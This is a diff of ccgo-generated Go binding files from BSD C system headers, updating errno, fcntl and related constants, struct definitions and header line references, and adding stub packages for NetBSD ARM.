ENOEXEC = 8 // errno.h:49:1:
|
||||
ENOLCK = 77 // errno.h:136:1:
|
||||
ENOLINK = 95 // errno.h:172:1:
|
||||
ENOMEM = 12 // errno.h:54:1:
|
||||
ENOMSG = 83 // errno.h:145:1:
|
||||
ENOPROTOOPT = 42 // errno.h:91:1:
|
||||
ENOSPC = 28 // errno.h:70:1:
|
||||
ENOSR = 90 // errno.h:163:1:
|
||||
ENOSTR = 91 // errno.h:164:1:
|
||||
ENOSYS = 78 // errno.h:137:1:
|
||||
ENOTBLK = 15 // errno.h:57:1:
|
||||
ENOTCONN = 57 // errno.h:108:1:
|
||||
ENOTDIR = 20 // errno.h:62:1:
|
||||
ENOTEMPTY = 66 // errno.h:120:1:
|
||||
ENOTSOCK = 38 // errno.h:87:1:
|
||||
ENOTSUP = 86 // errno.h:153:1:
|
||||
ENOTTY = 25 // errno.h:67:1:
|
||||
ENXIO = 6 // errno.h:47:1:
|
||||
EOPNOTSUPP = 45 // errno.h:94:1:
|
||||
EOVERFLOW = 84 // errno.h:146:1:
|
||||
EPERM = 1 // errno.h:42:1:
|
||||
EPFNOSUPPORT = 46 // errno.h:95:1:
|
||||
EPIPE = 32 // errno.h:74:1:
|
||||
EPROCLIM = 67 // errno.h:123:1:
|
||||
EPROCUNAVAIL = 76 // errno.h:134:1:
|
||||
EPROGMISMATCH = 75 // errno.h:133:1:
|
||||
EPROGUNAVAIL = 74 // errno.h:132:1:
|
||||
EPROTO = 96 // errno.h:173:1:
|
||||
EPROTONOSUPPORT = 43 // errno.h:92:1:
|
||||
EPROTOTYPE = 41 // errno.h:90:1:
|
||||
ERANGE = 34 // errno.h:78:1:
|
||||
EREMOTE = 71 // errno.h:129:1:
|
||||
EROFS = 30 // errno.h:72:1:
|
||||
ERPCMISMATCH = 73 // errno.h:131:1:
|
||||
ESHUTDOWN = 58 // errno.h:109:1:
|
||||
ESOCKTNOSUPPORT = 44 // errno.h:93:1:
|
||||
ESPIPE = 29 // errno.h:71:1:
|
||||
ESRCH = 3 // errno.h:44:1:
|
||||
ESTALE = 70 // errno.h:128:1:
|
||||
ETIME = 92 // errno.h:165:1:
|
||||
ETIMEDOUT = 60 // errno.h:111:1:
|
||||
ETOOMANYREFS = 59 // errno.h:110:1:
|
||||
ETXTBSY = 26 // errno.h:68:1:
|
||||
EUSERS = 68 // errno.h:124:1:
|
||||
EWOULDBLOCK = 35 // errno.h:82:1:
|
||||
EXDEV = 18 // errno.h:60:1:
|
||||
X_ARM_ARCH_4T = 0 // cdefs.h:44:1:
|
||||
X_ARM_ARCH_5 = 0 // cdefs.h:40:1:
|
||||
X_ARM_ARCH_5T = 0 // cdefs.h:36:1:
|
||||
X_ARM_ARCH_6 = 0 // cdefs.h:31:1:
|
||||
X_ARM_ARCH_7 = 0 // cdefs.h:20:1:
|
||||
X_ARM_ARCH_DWORD_OK = 0 // cdefs.h:51:1:
|
||||
X_ARM_ARCH_T2 = 0 // cdefs.h:24:1:
|
||||
X_ARM_CDEFS_H_ = 0 // cdefs.h:4:1:
|
||||
X_ERRNO_H_ = 0 // errno.h:40:1:
|
||||
X_FILE_OFFSET_BITS = 64 // <builtin>:25:1:
|
||||
X_NETBSD_SOURCE = 1 // featuretest.h:70:1:
|
||||
X_SYS_CDEFS_ELF_H_ = 0 // cdefs_elf.h:31:1:
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:37:1:
|
||||
X_SYS_ERRNO_H_ = 0 // errno.h:40:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int32 /* <builtin>:3:26 */
|
||||
|
||||
type Size_t = uint32 /* <builtin>:9:23 */
|
||||
|
||||
type Wchar_t = int32 /* <builtin>:15:24 */
|
||||
|
||||
type X__builtin_va_list = uintptr /* <builtin>:46:14 */
|
||||
type X__float128 = float64 /* <builtin>:47:21 */
|
||||
|
||||
var _ uint8 /* gen.c:2:13: */
|
||||
+5
@@ -0,0 +1,5 @@
|
||||
// Code generated by 'ccgo fcntl/gen.c -crt-import-path -export-defines -export-enums -export-externs X -export-fields F -export-structs -export-typedefs -header -hide _OSSwapInt16,_OSSwapInt32,_OSSwapInt64 -ignore-unsupported-alignment -o fcntl/fcntl_netbsd_arm.go -pkgname fcntl', DO NOT EDIT.
|
||||
|
||||
package fcntl
|
||||
|
||||
var CAPI = map[string]struct{}{}
|
||||
+71
-66
@@ -15,58 +15,60 @@ var _ atomic.Value
|
||||
var _ unsafe.Pointer
|
||||
|
||||
const (
|
||||
AT_EACCESS = 0x0100 // fcntl.h:217:1:
|
||||
AT_FDCWD = -100 // fcntl.h:212:1:
|
||||
AT_REMOVEDIR = 0x0800 // fcntl.h:221:1:
|
||||
AT_RESOLVE_BENEATH = 0x2000 // fcntl.h:223:1:
|
||||
AT_SYMLINK_FOLLOW = 0x0400 // fcntl.h:220:1:
|
||||
AT_SYMLINK_NOFOLLOW = 0x0200 // fcntl.h:219:1:
|
||||
FAPPEND = 8 // fcntl.h:186:1:
|
||||
FASYNC = 64 // fcntl.h:187:1:
|
||||
FDSYNC = 16777216 // fcntl.h:189:1:
|
||||
FD_CLOEXEC = 1 // fcntl.h:272:1:
|
||||
FD_NONE = -200 // fcntl.h:343:1:
|
||||
FFSYNC = 128 // fcntl.h:188:1:
|
||||
FNDELAY = 4 // fcntl.h:191:1:
|
||||
FNONBLOCK = 4 // fcntl.h:190:1:
|
||||
FRDAHEAD = 512 // fcntl.h:203:1:
|
||||
AT_EACCESS = 0x0100 // fcntl.h:224:1:
|
||||
AT_EMPTY_PATH = 0x4000 // fcntl.h:234:1:
|
||||
AT_FDCWD = -100 // fcntl.h:219:1:
|
||||
AT_REMOVEDIR = 0x0800 // fcntl.h:228:1:
|
||||
AT_RESOLVE_BENEATH = 0x2000 // fcntl.h:232:1:
|
||||
AT_SYMLINK_FOLLOW = 0x0400 // fcntl.h:227:1:
|
||||
AT_SYMLINK_NOFOLLOW = 0x0200 // fcntl.h:226:1:
|
||||
FAPPEND = 8 // fcntl.h:193:1:
|
||||
FASYNC = 64 // fcntl.h:194:1:
|
||||
FDSYNC = 16777216 // fcntl.h:196:1:
|
||||
FD_CLOEXEC = 1 // fcntl.h:283:1:
|
||||
FD_NONE = -200 // fcntl.h:355:1:
|
||||
FFSYNC = 128 // fcntl.h:195:1:
|
||||
FNDELAY = 4 // fcntl.h:198:1:
|
||||
FNONBLOCK = 4 // fcntl.h:197:1:
|
||||
FRDAHEAD = 512 // fcntl.h:210:1:
|
||||
FREAD = 0x0001 // fcntl.h:89:1:
|
||||
FWRITE = 0x0002 // fcntl.h:90:1:
|
||||
F_ADD_SEALS = 19 // fcntl.h:260:1:
|
||||
F_CANCEL = 5 // fcntl.h:280:1:
|
||||
F_DUP2FD = 10 // fcntl.h:245:1:
|
||||
F_DUP2FD_CLOEXEC = 18 // fcntl.h:259:1:
|
||||
F_DUPFD = 0 // fcntl.h:232:1:
|
||||
F_DUPFD_CLOEXEC = 17 // fcntl.h:256:1:
|
||||
F_GETFD = 1 // fcntl.h:233:1:
|
||||
F_GETFL = 3 // fcntl.h:235:1:
|
||||
F_GETLK = 11 // fcntl.h:247:1:
|
||||
F_GETOWN = 5 // fcntl.h:238:1:
|
||||
F_GET_SEALS = 20 // fcntl.h:261:1:
|
||||
F_ISUNIONSTACK = 21 // fcntl.h:262:1:
|
||||
F_OGETLK = 7 // fcntl.h:242:1:
|
||||
F_OSETLK = 8 // fcntl.h:243:1:
|
||||
F_OSETLKW = 9 // fcntl.h:244:1:
|
||||
F_RDAHEAD = 16 // fcntl.h:253:1:
|
||||
F_RDLCK = 1 // fcntl.h:275:1:
|
||||
F_READAHEAD = 15 // fcntl.h:252:1:
|
||||
F_SEAL_GROW = 0x0004 // fcntl.h:267:1:
|
||||
F_SEAL_SEAL = 0x0001 // fcntl.h:265:1:
|
||||
F_SEAL_SHRINK = 0x0002 // fcntl.h:266:1:
|
||||
F_SEAL_WRITE = 0x0008 // fcntl.h:268:1:
|
||||
F_SETFD = 2 // fcntl.h:234:1:
|
||||
F_SETFL = 4 // fcntl.h:236:1:
|
||||
F_SETLK = 12 // fcntl.h:248:1:
|
||||
F_SETLKW = 13 // fcntl.h:249:1:
|
||||
F_SETLK_REMOTE = 14 // fcntl.h:251:1:
|
||||
F_SETOWN = 6 // fcntl.h:239:1:
|
||||
F_UNLCK = 2 // fcntl.h:276:1:
|
||||
F_UNLCKSYS = 4 // fcntl.h:279:1:
|
||||
F_WRLCK = 3 // fcntl.h:277:1:
|
||||
LOCK_EX = 0x02 // fcntl.h:320:1:
|
||||
LOCK_NB = 0x04 // fcntl.h:321:1:
|
||||
LOCK_SH = 0x01 // fcntl.h:319:1:
|
||||
LOCK_UN = 0x08 // fcntl.h:322:1:
|
||||
F_ADD_SEALS = 19 // fcntl.h:270:1:
|
||||
F_CANCEL = 5 // fcntl.h:291:1:
|
||||
F_DUP2FD = 10 // fcntl.h:255:1:
|
||||
F_DUP2FD_CLOEXEC = 18 // fcntl.h:269:1:
|
||||
F_DUPFD = 0 // fcntl.h:242:1:
|
||||
F_DUPFD_CLOEXEC = 17 // fcntl.h:266:1:
|
||||
F_GETFD = 1 // fcntl.h:243:1:
|
||||
F_GETFL = 3 // fcntl.h:245:1:
|
||||
F_GETLK = 11 // fcntl.h:257:1:
|
||||
F_GETOWN = 5 // fcntl.h:248:1:
|
||||
F_GET_SEALS = 20 // fcntl.h:271:1:
|
||||
F_ISUNIONSTACK = 21 // fcntl.h:272:1:
|
||||
F_KINFO = 22 // fcntl.h:273:1:
|
||||
F_OGETLK = 7 // fcntl.h:252:1:
|
||||
F_OSETLK = 8 // fcntl.h:253:1:
|
||||
F_OSETLKW = 9 // fcntl.h:254:1:
|
||||
F_RDAHEAD = 16 // fcntl.h:263:1:
|
||||
F_RDLCK = 1 // fcntl.h:286:1:
|
||||
F_READAHEAD = 15 // fcntl.h:262:1:
|
||||
F_SEAL_GROW = 0x0004 // fcntl.h:278:1:
|
||||
F_SEAL_SEAL = 0x0001 // fcntl.h:276:1:
|
||||
F_SEAL_SHRINK = 0x0002 // fcntl.h:277:1:
|
||||
F_SEAL_WRITE = 0x0008 // fcntl.h:279:1:
|
||||
F_SETFD = 2 // fcntl.h:244:1:
|
||||
F_SETFL = 4 // fcntl.h:246:1:
|
||||
F_SETLK = 12 // fcntl.h:258:1:
|
||||
F_SETLKW = 13 // fcntl.h:259:1:
|
||||
F_SETLK_REMOTE = 14 // fcntl.h:261:1:
|
||||
F_SETOWN = 6 // fcntl.h:249:1:
|
||||
F_UNLCK = 2 // fcntl.h:287:1:
|
||||
F_UNLCKSYS = 4 // fcntl.h:290:1:
|
||||
F_WRLCK = 3 // fcntl.h:288:1:
|
||||
LOCK_EX = 0x02 // fcntl.h:332:1:
|
||||
LOCK_NB = 0x04 // fcntl.h:333:1:
|
||||
LOCK_SH = 0x01 // fcntl.h:331:1:
|
||||
LOCK_UN = 0x08 // fcntl.h:334:1:
|
||||
O_ACCMODE = 0x0003 // fcntl.h:78:1:
|
||||
O_APPEND = 0x0008 // fcntl.h:93:1:
|
||||
O_ASYNC = 0x0040 // fcntl.h:97:1:
|
||||
@@ -75,14 +77,16 @@ const (
|
||||
O_DIRECT = 0x00010000 // fcntl.h:116:1:
|
||||
O_DIRECTORY = 0x00020000 // fcntl.h:120:1:
|
||||
O_DSYNC = 0x01000000 // fcntl.h:143:1:
|
||||
O_EMPTY_PATH = 0x02000000 // fcntl.h:145:1:
|
||||
O_EXCL = 0x0800 // fcntl.h:106:1:
|
||||
O_EXEC = 0x00040000 // fcntl.h:121:1:
|
||||
O_EXLOCK = 0x0020 // fcntl.h:96:1:
|
||||
O_FSYNC = 0x0080 // fcntl.h:98:1:
|
||||
O_NDELAY = 4 // fcntl.h:192:1:
|
||||
O_NDELAY = 4 // fcntl.h:199:1:
|
||||
O_NOCTTY = 0x8000 // fcntl.h:112:1:
|
||||
O_NOFOLLOW = 0x0100 // fcntl.h:102:1:
|
||||
O_NONBLOCK = 0x0004 // fcntl.h:92:1:
|
||||
O_PATH = 0x00400000 // fcntl.h:138:1:
|
||||
O_RDONLY = 0x0000 // fcntl.h:75:1:
|
||||
O_RDWR = 0x0002 // fcntl.h:77:1:
|
||||
O_RESOLVE_BENEATH = 0x00800000 // fcntl.h:139:1:
|
||||
@@ -93,26 +97,26 @@ const (
|
||||
O_TTY_INIT = 0x00080000 // fcntl.h:131:1:
|
||||
O_VERIFY = 0x00200000 // fcntl.h:137:1:
|
||||
O_WRONLY = 0x0001 // fcntl.h:76:1:
|
||||
POSIX_FADV_DONTNEED = 4 // fcntl.h:333:1:
|
||||
POSIX_FADV_NOREUSE = 5 // fcntl.h:334:1:
|
||||
POSIX_FADV_NORMAL = 0 // fcntl.h:329:1:
|
||||
POSIX_FADV_RANDOM = 1 // fcntl.h:330:1:
|
||||
POSIX_FADV_SEQUENTIAL = 2 // fcntl.h:331:1:
|
||||
POSIX_FADV_WILLNEED = 3 // fcntl.h:332:1:
|
||||
POSIX_FADV_DONTNEED = 4 // fcntl.h:345:1:
|
||||
POSIX_FADV_NOREUSE = 5 // fcntl.h:346:1:
|
||||
POSIX_FADV_NORMAL = 0 // fcntl.h:341:1:
|
||||
POSIX_FADV_RANDOM = 1 // fcntl.h:342:1:
|
||||
POSIX_FADV_SEQUENTIAL = 2 // fcntl.h:343:1:
|
||||
POSIX_FADV_WILLNEED = 3 // fcntl.h:344:1:
|
||||
X_FILE_OFFSET_BITS = 64 // <builtin>:25:1:
|
||||
X_LP64 = 1 // <predefined>:1:1:
|
||||
X_MACHINE__LIMITS_H_ = 0 // _limits.h:36:1:
|
||||
X_MACHINE__TYPES_H_ = 0 // _types.h:42:1:
|
||||
X_MODE_T_DECLARED = 0 // fcntl.h:54:1:
|
||||
X_Nonnull = 0 // cdefs.h:783:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:785:1:
|
||||
X_Nullable = 0 // cdefs.h:784:1:
|
||||
X_Nonnull = 0 // cdefs.h:790:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:792:1:
|
||||
X_Nullable = 0 // cdefs.h:791:1:
|
||||
X_OFF_T_DECLARED = 0 // fcntl.h:59:1:
|
||||
X_PID_T_DECLARED = 0 // fcntl.h:64:1:
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:39:1:
|
||||
X_SYS_FCNTL_H_ = 0 // fcntl.h:41:1:
|
||||
X_SYS__TYPES_H_ = 0 // _types.h:32:1:
|
||||
Unix = 1 // <predefined>:337:1:
|
||||
Unix = 1 // <predefined>:340:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int64 /* <builtin>:3:26 */
|
||||
@@ -391,12 +395,15 @@ type X__float128 = float64 /* <builtin>:47:21 */
|
||||
|
||||
// Function should not be analyzed.
|
||||
|
||||
// Function or variable should not be sanitized, i.e. by AddressSanitizer.
|
||||
// Function or variable should not be sanitized, e.g., by AddressSanitizer.
|
||||
// GCC has the nosanitize attribute, but as a function attribute only, and
|
||||
// warns on use as a variable attribute.
|
||||
|
||||
// Guard variables and structure members by lock.
|
||||
|
||||
// Alignment builtins for better type checking and improved code generation.
|
||||
// Provide fallback versions for other compilers (GCC/Clang < 10):
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
@@ -714,8 +721,6 @@ type Pid_t = X__pid_t /* fcntl.h:63:18 */
|
||||
|
||||
// Defined by POSIX 1003.1-2008; BSD default, but reserve for future use.
|
||||
|
||||
/* #define O_UNUSED1 0x00400000 */ // Was O_BENEATH
|
||||
|
||||
// XXX missing O_RSYNC.
|
||||
|
||||
// The O_* flags used to have only F* names, which were used in the kernel
|
||||
@@ -755,7 +760,7 @@ type Flock = struct {
|
||||
Fl_whence int16
|
||||
Fl_sysid int32
|
||||
F__ccgo_pad1 [4]byte
|
||||
} /* fcntl.h:294:1 */
|
||||
} /* fcntl.h:306:1 */
|
||||
|
||||
// Old advisory file segment locking data type,
|
||||
// before adding l_sysid.
|
||||
@@ -765,6 +770,6 @@ type X__oflock = struct {
|
||||
Fl_pid Pid_t
|
||||
Fl_type int16
|
||||
Fl_whence int16
|
||||
} /* fcntl.h:308:1 */
|
||||
} /* fcntl.h:320:1 */
|
||||
|
||||
var _ int8 /* gen.c:2:13: */
|
||||
+2
-2
@@ -587,8 +587,8 @@ type X__cpusetid_t = int32 /* _types.h:70:14 */ // cpuset identifier.
|
||||
type X__daddr_t = X__int64_t /* _types.h:71:19 */ // bwrite(3), FIOBMAP2, etc
|
||||
|
||||
// Unusual type definitions.
|
||||
// rune_t is declared to be an ``int'' instead of the more natural
|
||||
// ``unsigned long'' or ``long''. Two things are happening here. It is not
|
||||
// rune_t is declared to be an “int” instead of the more natural
|
||||
// “unsigned long” or “long”. Two things are happening here. It is not
|
||||
// unsigned so that EOF (-1) can be naturally assigned to it and used. Also,
|
||||
// it looks like 10646 will be a 31 bit standard. This means that if your
|
||||
// ints cannot hold 32 bits, you will be in trouble. The reason an int was
|
||||
|
||||
+71
-66
@@ -15,58 +15,60 @@ var _ atomic.Value
|
||||
var _ unsafe.Pointer
|
||||
|
||||
const (
|
||||
AT_EACCESS = 0x0100 // fcntl.h:217:1:
|
||||
AT_FDCWD = -100 // fcntl.h:212:1:
|
||||
AT_REMOVEDIR = 0x0800 // fcntl.h:221:1:
|
||||
AT_RESOLVE_BENEATH = 0x2000 // fcntl.h:223:1:
|
||||
AT_SYMLINK_FOLLOW = 0x0400 // fcntl.h:220:1:
|
||||
AT_SYMLINK_NOFOLLOW = 0x0200 // fcntl.h:219:1:
|
||||
FAPPEND = 8 // fcntl.h:186:1:
|
||||
FASYNC = 64 // fcntl.h:187:1:
|
||||
FDSYNC = 16777216 // fcntl.h:189:1:
|
||||
FD_CLOEXEC = 1 // fcntl.h:272:1:
|
||||
FD_NONE = -200 // fcntl.h:343:1:
|
||||
FFSYNC = 128 // fcntl.h:188:1:
|
||||
FNDELAY = 4 // fcntl.h:191:1:
|
||||
FNONBLOCK = 4 // fcntl.h:190:1:
|
||||
FRDAHEAD = 512 // fcntl.h:203:1:
|
||||
AT_EACCESS = 0x0100 // fcntl.h:224:1:
|
||||
AT_EMPTY_PATH = 0x4000 // fcntl.h:234:1:
|
||||
AT_FDCWD = -100 // fcntl.h:219:1:
|
||||
AT_REMOVEDIR = 0x0800 // fcntl.h:228:1:
|
||||
AT_RESOLVE_BENEATH = 0x2000 // fcntl.h:232:1:
|
||||
AT_SYMLINK_FOLLOW = 0x0400 // fcntl.h:227:1:
|
||||
AT_SYMLINK_NOFOLLOW = 0x0200 // fcntl.h:226:1:
|
||||
FAPPEND = 8 // fcntl.h:193:1:
|
||||
FASYNC = 64 // fcntl.h:194:1:
|
||||
FDSYNC = 16777216 // fcntl.h:196:1:
|
||||
FD_CLOEXEC = 1 // fcntl.h:283:1:
|
||||
FD_NONE = -200 // fcntl.h:355:1:
|
||||
FFSYNC = 128 // fcntl.h:195:1:
|
||||
FNDELAY = 4 // fcntl.h:198:1:
|
||||
FNONBLOCK = 4 // fcntl.h:197:1:
|
||||
FRDAHEAD = 512 // fcntl.h:210:1:
|
||||
FREAD = 0x0001 // fcntl.h:89:1:
|
||||
FWRITE = 0x0002 // fcntl.h:90:1:
|
||||
F_ADD_SEALS = 19 // fcntl.h:260:1:
|
||||
F_CANCEL = 5 // fcntl.h:280:1:
|
||||
F_DUP2FD = 10 // fcntl.h:245:1:
|
||||
F_DUP2FD_CLOEXEC = 18 // fcntl.h:259:1:
|
||||
F_DUPFD = 0 // fcntl.h:232:1:
|
||||
F_DUPFD_CLOEXEC = 17 // fcntl.h:256:1:
|
||||
F_GETFD = 1 // fcntl.h:233:1:
|
||||
F_GETFL = 3 // fcntl.h:235:1:
|
||||
F_GETLK = 11 // fcntl.h:247:1:
|
||||
F_GETOWN = 5 // fcntl.h:238:1:
|
||||
F_GET_SEALS = 20 // fcntl.h:261:1:
|
||||
F_ISUNIONSTACK = 21 // fcntl.h:262:1:
|
||||
F_OGETLK = 7 // fcntl.h:242:1:
|
||||
F_OSETLK = 8 // fcntl.h:243:1:
|
||||
F_OSETLKW = 9 // fcntl.h:244:1:
|
||||
F_RDAHEAD = 16 // fcntl.h:253:1:
|
||||
F_RDLCK = 1 // fcntl.h:275:1:
|
||||
F_READAHEAD = 15 // fcntl.h:252:1:
|
||||
F_SEAL_GROW = 0x0004 // fcntl.h:267:1:
|
||||
F_SEAL_SEAL = 0x0001 // fcntl.h:265:1:
|
||||
F_SEAL_SHRINK = 0x0002 // fcntl.h:266:1:
|
||||
F_SEAL_WRITE = 0x0008 // fcntl.h:268:1:
|
||||
F_SETFD = 2 // fcntl.h:234:1:
|
||||
F_SETFL = 4 // fcntl.h:236:1:
|
||||
F_SETLK = 12 // fcntl.h:248:1:
|
||||
F_SETLKW = 13 // fcntl.h:249:1:
|
||||
F_SETLK_REMOTE = 14 // fcntl.h:251:1:
|
||||
F_SETOWN = 6 // fcntl.h:239:1:
|
||||
F_UNLCK = 2 // fcntl.h:276:1:
|
||||
F_UNLCKSYS = 4 // fcntl.h:279:1:
|
||||
F_WRLCK = 3 // fcntl.h:277:1:
|
||||
LOCK_EX = 0x02 // fcntl.h:320:1:
|
||||
LOCK_NB = 0x04 // fcntl.h:321:1:
|
||||
LOCK_SH = 0x01 // fcntl.h:319:1:
|
||||
LOCK_UN = 0x08 // fcntl.h:322:1:
|
||||
F_ADD_SEALS = 19 // fcntl.h:270:1:
|
||||
F_CANCEL = 5 // fcntl.h:291:1:
|
||||
F_DUP2FD = 10 // fcntl.h:255:1:
|
||||
F_DUP2FD_CLOEXEC = 18 // fcntl.h:269:1:
|
||||
F_DUPFD = 0 // fcntl.h:242:1:
|
||||
F_DUPFD_CLOEXEC = 17 // fcntl.h:266:1:
|
||||
F_GETFD = 1 // fcntl.h:243:1:
|
||||
F_GETFL = 3 // fcntl.h:245:1:
|
||||
F_GETLK = 11 // fcntl.h:257:1:
|
||||
F_GETOWN = 5 // fcntl.h:248:1:
|
||||
F_GET_SEALS = 20 // fcntl.h:271:1:
|
||||
F_ISUNIONSTACK = 21 // fcntl.h:272:1:
|
||||
F_KINFO = 22 // fcntl.h:273:1:
|
||||
F_OGETLK = 7 // fcntl.h:252:1:
|
||||
F_OSETLK = 8 // fcntl.h:253:1:
|
||||
F_OSETLKW = 9 // fcntl.h:254:1:
|
||||
F_RDAHEAD = 16 // fcntl.h:263:1:
|
||||
F_RDLCK = 1 // fcntl.h:286:1:
|
||||
F_READAHEAD = 15 // fcntl.h:262:1:
|
||||
F_SEAL_GROW = 0x0004 // fcntl.h:278:1:
|
||||
F_SEAL_SEAL = 0x0001 // fcntl.h:276:1:
|
||||
F_SEAL_SHRINK = 0x0002 // fcntl.h:277:1:
|
||||
F_SEAL_WRITE = 0x0008 // fcntl.h:279:1:
|
||||
F_SETFD = 2 // fcntl.h:244:1:
|
||||
F_SETFL = 4 // fcntl.h:246:1:
|
||||
F_SETLK = 12 // fcntl.h:258:1:
|
||||
F_SETLKW = 13 // fcntl.h:259:1:
|
||||
F_SETLK_REMOTE = 14 // fcntl.h:261:1:
|
||||
F_SETOWN = 6 // fcntl.h:249:1:
|
||||
F_UNLCK = 2 // fcntl.h:287:1:
|
||||
F_UNLCKSYS = 4 // fcntl.h:290:1:
|
||||
F_WRLCK = 3 // fcntl.h:288:1:
|
||||
LOCK_EX = 0x02 // fcntl.h:332:1:
|
||||
LOCK_NB = 0x04 // fcntl.h:333:1:
|
||||
LOCK_SH = 0x01 // fcntl.h:331:1:
|
||||
LOCK_UN = 0x08 // fcntl.h:334:1:
|
||||
O_ACCMODE = 0x0003 // fcntl.h:78:1:
|
||||
O_APPEND = 0x0008 // fcntl.h:93:1:
|
||||
O_ASYNC = 0x0040 // fcntl.h:97:1:
|
||||
@@ -75,14 +77,16 @@ const (
|
||||
O_DIRECT = 0x00010000 // fcntl.h:116:1:
|
||||
O_DIRECTORY = 0x00020000 // fcntl.h:120:1:
|
||||
O_DSYNC = 0x01000000 // fcntl.h:143:1:
|
||||
O_EMPTY_PATH = 0x02000000 // fcntl.h:145:1:
|
||||
O_EXCL = 0x0800 // fcntl.h:106:1:
|
||||
O_EXEC = 0x00040000 // fcntl.h:121:1:
|
||||
O_EXLOCK = 0x0020 // fcntl.h:96:1:
|
||||
O_FSYNC = 0x0080 // fcntl.h:98:1:
|
||||
O_NDELAY = 4 // fcntl.h:192:1:
|
||||
O_NDELAY = 4 // fcntl.h:199:1:
|
||||
O_NOCTTY = 0x8000 // fcntl.h:112:1:
|
||||
O_NOFOLLOW = 0x0100 // fcntl.h:102:1:
|
||||
O_NONBLOCK = 0x0004 // fcntl.h:92:1:
|
||||
O_PATH = 0x00400000 // fcntl.h:138:1:
|
||||
O_RDONLY = 0x0000 // fcntl.h:75:1:
|
||||
O_RDWR = 0x0002 // fcntl.h:77:1:
|
||||
O_RESOLVE_BENEATH = 0x00800000 // fcntl.h:139:1:
|
||||
@@ -93,26 +97,26 @@ const (
|
||||
O_TTY_INIT = 0x00080000 // fcntl.h:131:1:
|
||||
O_VERIFY = 0x00200000 // fcntl.h:137:1:
|
||||
O_WRONLY = 0x0001 // fcntl.h:76:1:
|
||||
POSIX_FADV_DONTNEED = 4 // fcntl.h:333:1:
|
||||
POSIX_FADV_NOREUSE = 5 // fcntl.h:334:1:
|
||||
POSIX_FADV_NORMAL = 0 // fcntl.h:329:1:
|
||||
POSIX_FADV_RANDOM = 1 // fcntl.h:330:1:
|
||||
POSIX_FADV_SEQUENTIAL = 2 // fcntl.h:331:1:
|
||||
POSIX_FADV_WILLNEED = 3 // fcntl.h:332:1:
|
||||
POSIX_FADV_DONTNEED = 4 // fcntl.h:345:1:
|
||||
POSIX_FADV_NOREUSE = 5 // fcntl.h:346:1:
|
||||
POSIX_FADV_NORMAL = 0 // fcntl.h:341:1:
|
||||
POSIX_FADV_RANDOM = 1 // fcntl.h:342:1:
|
||||
POSIX_FADV_SEQUENTIAL = 2 // fcntl.h:343:1:
|
||||
POSIX_FADV_WILLNEED = 3 // fcntl.h:344:1:
|
||||
X_FILE_OFFSET_BITS = 64 // <builtin>:25:1:
|
||||
X_LP64 = 1 // <predefined>:1:1:
|
||||
X_MACHINE__LIMITS_H_ = 0 // _limits.h:36:1:
|
||||
X_MACHINE__TYPES_H_ = 0 // _types.h:42:1:
|
||||
X_MODE_T_DECLARED = 0 // fcntl.h:54:1:
|
||||
X_Nonnull = 0 // cdefs.h:783:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:785:1:
|
||||
X_Nullable = 0 // cdefs.h:784:1:
|
||||
X_Nonnull = 0 // cdefs.h:790:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:792:1:
|
||||
X_Nullable = 0 // cdefs.h:791:1:
|
||||
X_OFF_T_DECLARED = 0 // fcntl.h:59:1:
|
||||
X_PID_T_DECLARED = 0 // fcntl.h:64:1:
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:39:1:
|
||||
X_SYS_FCNTL_H_ = 0 // fcntl.h:41:1:
|
||||
X_SYS__TYPES_H_ = 0 // _types.h:32:1:
|
||||
Unix = 1 // <predefined>:337:1:
|
||||
Unix = 1 // <predefined>:340:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int64 /* <builtin>:3:26 */
|
||||
@@ -391,12 +395,15 @@ type X__float128 = float64 /* <builtin>:47:21 */
|
||||
|
||||
// Function should not be analyzed.
|
||||
|
||||
// Function or variable should not be sanitized, i.e. by AddressSanitizer.
|
||||
// Function or variable should not be sanitized, e.g., by AddressSanitizer.
|
||||
// GCC has the nosanitize attribute, but as a function attribute only, and
|
||||
// warns on use as a variable attribute.
|
||||
|
||||
// Guard variables and structure members by lock.
|
||||
|
||||
// Alignment builtins for better type checking and improved code generation.
|
||||
// Provide fallback versions for other compilers (GCC/Clang < 10):
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
@@ -714,8 +721,6 @@ type Pid_t = X__pid_t /* fcntl.h:63:18 */
|
||||
|
||||
// Defined by POSIX 1003.1-2008; BSD default, but reserve for future use.
|
||||
|
||||
/* #define O_UNUSED1 0x00400000 */ // Was O_BENEATH
|
||||
|
||||
// XXX missing O_RSYNC.
|
||||
|
||||
// The O_* flags used to have only F* names, which were used in the kernel
|
||||
@@ -755,7 +760,7 @@ type Flock = struct {
|
||||
Fl_whence int16
|
||||
Fl_sysid int32
|
||||
F__ccgo_pad1 [4]byte
|
||||
} /* fcntl.h:294:1 */
|
||||
} /* fcntl.h:306:1 */
|
||||
|
||||
// Old advisory file segment locking data type,
|
||||
// before adding l_sysid.
|
||||
@@ -765,6 +770,6 @@ type X__oflock = struct {
|
||||
Fl_pid Pid_t
|
||||
Fl_type int16
|
||||
Fl_whence int16
|
||||
} /* fcntl.h:308:1 */
|
||||
} /* fcntl.h:320:1 */
|
||||
|
||||
var _ int8 /* gen.c:2:13: */
|
||||
+1455
File diff suppressed because it is too large.
Load diff
+5
@@ -0,0 +1,5 @@
|
||||
// Code generated by 'ccgo fts/gen.c -crt-import-path -export-defines -export-enums -export-externs X -export-fields F -export-structs -export-typedefs -header -hide _OSSwapInt16,_OSSwapInt32,_OSSwapInt64 -ignore-unsupported-alignment -o fts/fts_netbsd_arm.go -pkgname fts', DO NOT EDIT.
|
||||
|
||||
package fts
|
||||
|
||||
var CAPI = map[string]struct{}{}
|
||||
+3
-4
@@ -171,7 +171,7 @@ const (
|
||||
X_IN_PORT_T_DECLARED = 0 // types.h:136:1:
|
||||
X_KEY_T_DECLARED = 0 // types.h:151:1:
|
||||
X_LITTLE_ENDIAN = 1234 // _endian.h:46:1:
|
||||
